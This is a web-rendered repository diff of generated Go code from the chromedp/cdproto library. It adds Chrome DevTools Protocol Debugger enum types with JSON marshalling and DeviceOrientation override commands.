||||
type DebugSymbolsType string
|
||||
|
||||
// String returns the DebugSymbolsType as string value.
|
||||
func (t DebugSymbolsType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DebugSymbolsType values.
|
||||
const (
|
||||
DebugSymbolsTypeNone DebugSymbolsType = "None"
|
||||
DebugSymbolsTypeSourceMap DebugSymbolsType = "SourceMap"
|
||||
DebugSymbolsTypeEmbeddedDWARF DebugSymbolsType = "EmbeddedDWARF"
|
||||
DebugSymbolsTypeExternalDWARF DebugSymbolsType = "ExternalDWARF"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t DebugSymbolsType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t DebugSymbolsType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DebugSymbolsType(in.String()) {
|
||||
case DebugSymbolsTypeNone:
|
||||
*t = DebugSymbolsTypeNone
|
||||
case DebugSymbolsTypeSourceMap:
|
||||
*t = DebugSymbolsTypeSourceMap
|
||||
case DebugSymbolsTypeEmbeddedDWARF:
|
||||
*t = DebugSymbolsTypeEmbeddedDWARF
|
||||
case DebugSymbolsTypeExternalDWARF:
|
||||
*t = DebugSymbolsTypeExternalDWARF
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DebugSymbolsType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *DebugSymbolsType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PausedReason pause reason.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-paused
|
||||
type PausedReason string
|
||||
|
||||
// String returns the PausedReason as string value.
|
||||
func (t PausedReason) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PausedReason values.
|
||||
const (
|
||||
PausedReasonAmbiguous PausedReason = "ambiguous"
|
||||
PausedReasonAssert PausedReason = "assert"
|
||||
PausedReasonCSPViolation PausedReason = "CSPViolation"
|
||||
PausedReasonDebugCommand PausedReason = "debugCommand"
|
||||
PausedReasonDOM PausedReason = "DOM"
|
||||
PausedReasonEventListener PausedReason = "EventListener"
|
||||
PausedReasonException PausedReason = "exception"
|
||||
PausedReasonInstrumentation PausedReason = "instrumentation"
|
||||
PausedReasonOOM PausedReason = "OOM"
|
||||
PausedReasonOther PausedReason = "other"
|
||||
PausedReasonPromiseRejection PausedReason = "promiseRejection"
|
||||
PausedReasonXHR PausedReason = "XHR"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PausedReason) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PausedReason) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PausedReason(in.String()) {
|
||||
case PausedReasonAmbiguous:
|
||||
*t = PausedReasonAmbiguous
|
||||
case PausedReasonAssert:
|
||||
*t = PausedReasonAssert
|
||||
case PausedReasonCSPViolation:
|
||||
*t = PausedReasonCSPViolation
|
||||
case PausedReasonDebugCommand:
|
||||
*t = PausedReasonDebugCommand
|
||||
case PausedReasonDOM:
|
||||
*t = PausedReasonDOM
|
||||
case PausedReasonEventListener:
|
||||
*t = PausedReasonEventListener
|
||||
case PausedReasonException:
|
||||
*t = PausedReasonException
|
||||
case PausedReasonInstrumentation:
|
||||
*t = PausedReasonInstrumentation
|
||||
case PausedReasonOOM:
|
||||
*t = PausedReasonOOM
|
||||
case PausedReasonOther:
|
||||
*t = PausedReasonOther
|
||||
case PausedReasonPromiseRejection:
|
||||
*t = PausedReasonPromiseRejection
|
||||
case PausedReasonXHR:
|
||||
*t = PausedReasonXHR
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PausedReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PausedReason) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ContinueToLocationTargetCallFrames [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-continueToLocation
|
||||
type ContinueToLocationTargetCallFrames string
|
||||
|
||||
// String returns the ContinueToLocationTargetCallFrames as string value.
|
||||
func (t ContinueToLocationTargetCallFrames) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ContinueToLocationTargetCallFrames values.
|
||||
const (
|
||||
ContinueToLocationTargetCallFramesAny ContinueToLocationTargetCallFrames = "any"
|
||||
ContinueToLocationTargetCallFramesCurrent ContinueToLocationTargetCallFrames = "current"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ContinueToLocationTargetCallFrames) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ContinueToLocationTargetCallFrames) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ContinueToLocationTargetCallFrames) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ContinueToLocationTargetCallFrames(in.String()) {
|
||||
case ContinueToLocationTargetCallFramesAny:
|
||||
*t = ContinueToLocationTargetCallFramesAny
|
||||
case ContinueToLocationTargetCallFramesCurrent:
|
||||
*t = ContinueToLocationTargetCallFramesCurrent
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ContinueToLocationTargetCallFrames value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ContinueToLocationTargetCallFrames) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// RestartFrameMode the mode parameter must be present and set to 'StepInto',
|
||||
// otherwise restartFrame will error out.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-restartFrame
|
||||
type RestartFrameMode string
|
||||
|
||||
// String returns the RestartFrameMode as string value.
|
||||
func (t RestartFrameMode) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// RestartFrameMode values.
|
||||
const (
|
||||
RestartFrameModeStepInto RestartFrameMode = "StepInto"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t RestartFrameMode) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t RestartFrameMode) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RestartFrameMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch RestartFrameMode(in.String()) {
|
||||
case RestartFrameModeStepInto:
|
||||
*t = RestartFrameModeStepInto
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown RestartFrameMode value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *RestartFrameMode) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SetInstrumentationBreakpointInstrumentation instrumentation name.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setInstrumentationBreakpoint
|
||||
type SetInstrumentationBreakpointInstrumentation string
|
||||
|
||||
// String returns the SetInstrumentationBreakpointInstrumentation as string value.
|
||||
func (t SetInstrumentationBreakpointInstrumentation) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// SetInstrumentationBreakpointInstrumentation values.
|
||||
const (
|
||||
SetInstrumentationBreakpointInstrumentationBeforeScriptExecution SetInstrumentationBreakpointInstrumentation = "beforeScriptExecution"
|
||||
SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution SetInstrumentationBreakpointInstrumentation = "beforeScriptWithSourceMapExecution"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t SetInstrumentationBreakpointInstrumentation) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t SetInstrumentationBreakpointInstrumentation) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetInstrumentationBreakpointInstrumentation(in.String()) {
|
||||
case SetInstrumentationBreakpointInstrumentationBeforeScriptExecution:
|
||||
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptExecution
|
||||
case SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution:
|
||||
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetInstrumentationBreakpointInstrumentation value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ExceptionsState pause on exceptions mode.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setPauseOnExceptions
|
||||
type ExceptionsState string
|
||||
|
||||
// String returns the ExceptionsState as string value.
|
||||
func (t ExceptionsState) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ExceptionsState values.
|
||||
const (
|
||||
ExceptionsStateNone ExceptionsState = "none"
|
||||
ExceptionsStateUncaught ExceptionsState = "uncaught"
|
||||
ExceptionsStateAll ExceptionsState = "all"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ExceptionsState) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ExceptionsState) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ExceptionsState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ExceptionsState(in.String()) {
|
||||
case ExceptionsStateNone:
|
||||
*t = ExceptionsStateNone
|
||||
case ExceptionsStateUncaught:
|
||||
*t = ExceptionsStateUncaught
|
||||
case ExceptionsStateAll:
|
||||
*t = ExceptionsStateAll
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ExceptionsState value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ExceptionsState) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SetScriptSourceStatus whether the operation was successful or not. Only Ok
|
||||
// denotes a successful live edit while the other enum variants denote why the
|
||||
// live edit failed.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setScriptSource
|
||||
type SetScriptSourceStatus string
|
||||
|
||||
// String returns the SetScriptSourceStatus as string value.
|
||||
func (t SetScriptSourceStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// SetScriptSourceStatus values.
|
||||
const (
|
||||
SetScriptSourceStatusOk SetScriptSourceStatus = "Ok"
|
||||
SetScriptSourceStatusCompileError SetScriptSourceStatus = "CompileError"
|
||||
SetScriptSourceStatusBlockedByActiveGenerator SetScriptSourceStatus = "BlockedByActiveGenerator"
|
||||
SetScriptSourceStatusBlockedByActiveFunction SetScriptSourceStatus = "BlockedByActiveFunction"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t SetScriptSourceStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t SetScriptSourceStatus) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetScriptSourceStatus(in.String()) {
|
||||
case SetScriptSourceStatusOk:
|
||||
*t = SetScriptSourceStatusOk
|
||||
case SetScriptSourceStatusCompileError:
|
||||
*t = SetScriptSourceStatusCompileError
|
||||
case SetScriptSourceStatusBlockedByActiveGenerator:
|
||||
*t = SetScriptSourceStatusBlockedByActiveGenerator
|
||||
case SetScriptSourceStatusBlockedByActiveFunction:
|
||||
*t = SetScriptSourceStatusBlockedByActiveFunction
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetScriptSourceStatus value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *SetScriptSourceStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
// Package deviceorientation provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the DeviceOrientation domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package deviceorientation
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// ClearDeviceOrientationOverrideParams clears the overridden Device
|
||||
// Orientation.
|
||||
type ClearDeviceOrientationOverrideParams struct{}
|
||||
|
||||
// ClearDeviceOrientationOverride clears the overridden Device Orientation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceOrientation#method-clearDeviceOrientationOverride
|
||||
func ClearDeviceOrientationOverride() *ClearDeviceOrientationOverrideParams {
|
||||
return &ClearDeviceOrientationOverrideParams{}
|
||||
}
|
||||
|
||||
// Do executes DeviceOrientation.clearDeviceOrientationOverride against the provided context.
|
||||
func (p *ClearDeviceOrientationOverrideParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandClearDeviceOrientationOverride, nil, nil)
|
||||
}
|
||||
|
||||
// SetDeviceOrientationOverrideParams overrides the Device Orientation.
|
||||
type SetDeviceOrientationOverrideParams struct {
|
||||
Alpha float64 `json:"alpha"` // Mock alpha
|
||||
Beta float64 `json:"beta"` // Mock beta
|
||||
Gamma float64 `json:"gamma"` // Mock gamma
|
||||
}
|
||||
|
||||
// SetDeviceOrientationOverride overrides the Device Orientation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceOrientation#method-setDeviceOrientationOverride
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// alpha - Mock alpha
|
||||
// beta - Mock beta
|
||||
// gamma - Mock gamma
|
||||
func SetDeviceOrientationOverride(alpha float64, beta float64, gamma float64) *SetDeviceOrientationOverrideParams {
|
||||
return &SetDeviceOrientationOverrideParams{
|
||||
Alpha: alpha,
|
||||
Beta: beta,
|
||||
Gamma: gamma,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DeviceOrientation.setDeviceOrientationOverride against the provided context.
|
||||
func (p *SetDeviceOrientationOverrideParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetDeviceOrientationOverride, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandClearDeviceOrientationOverride = "DeviceOrientation.clearDeviceOrientationOverride"
|
||||
CommandSetDeviceOrientationOverride = "DeviceOrientation.setDeviceOrientationOverride"
|
||||
)
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package deviceorientation
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation(in *jlexer.Lexer, out *SetDeviceOrientationOverrideParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "alpha":
|
||||
out.Alpha = float64(in.Float64())
|
||||
case "beta":
|
||||
out.Beta = float64(in.Float64())
|
||||
case "gamma":
|
||||
out.Gamma = float64(in.Float64())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation(out *jwriter.Writer, in SetDeviceOrientationOverrideParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"alpha\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.Float64(float64(in.Alpha))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"beta\":"
|
||||
out.RawString(prefix)
|
||||
out.Float64(float64(in.Beta))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"gamma\":"
|
||||
out.RawString(prefix)
|
||||
out.Float64(float64(in.Gamma))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetDeviceOrientationOverrideParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetDeviceOrientationOverrideParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetDeviceOrientationOverrideParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetDeviceOrientationOverrideParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation1(in *jlexer.Lexer, out *ClearDeviceOrientationOverrideParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation1(out *jwriter.Writer, in ClearDeviceOrientationOverrideParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v ClearDeviceOrientationOverrideParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v ClearDeviceOrientationOverrideParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *ClearDeviceOrientationOverrideParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *ClearDeviceOrientationOverrideParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation1(l, v)
|
||||
}
|
||||
+1889
File diff suppressed because it is too large.
Load diff
+7514
File diff suppressed because it is too large.
Load diff
Loaded 100 of 486 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user